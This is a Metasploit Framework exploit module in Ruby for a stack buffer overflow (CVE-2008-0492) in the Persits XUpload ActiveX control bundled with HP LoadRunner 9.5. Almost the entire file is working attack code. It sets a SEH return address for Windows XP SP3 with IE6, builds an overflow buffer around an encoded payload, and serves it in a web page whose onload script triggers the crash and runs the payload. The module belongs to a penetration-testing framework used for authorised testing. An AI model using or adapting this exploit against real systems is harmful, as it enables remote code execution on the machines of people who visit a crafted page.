106 lines
2.5 KiB
Ruby
106 lines
2.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Persits XUpload ActiveX AddFile Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Persits Software Inc's
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XUpload ActiveX control(version 3.0.0.3) thats included in HP LoadRunner 9.5.
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By passing an overly long string to the AddFile method, an attacker may be
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able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'jduck' ],
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'References' =>
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[
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[ 'CVE', '2008-0492'],
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[ 'OSVDB', '40762'],
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[ 'BID', '27456' ],
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[ 'EDB', '4987' ],
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[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059296.html' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'XUpload.ocx 3.0.0.3 on Windows XP SP3 / IE6 SP3',
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{
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'Ret' => 0x10019d6e # pop/pop/ret @ XUpload.ocx
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}
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],
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],
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'DisclosureDate' => 'Jan 25 2008',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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# Set the exploit buffer
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sploit = rand_text_alpha(738)
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sploit << generate_seh_payload(target.ret)
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sploit << p.encoded
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sploit << rand_text(1000) * 25
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sploit = Rex::Text.to_unescape(sploit)
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# Build out the message
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content = %Q|<html>
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<script language='javascript'>
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function check()
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{
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#{strname} = new String(unescape("#{sploit}"));
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#{vname}.AddFile(#{strname});
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}
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</script>
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<body onload='javascript:check()'>
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<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id='#{vname}'></object>
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</body>
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</html>
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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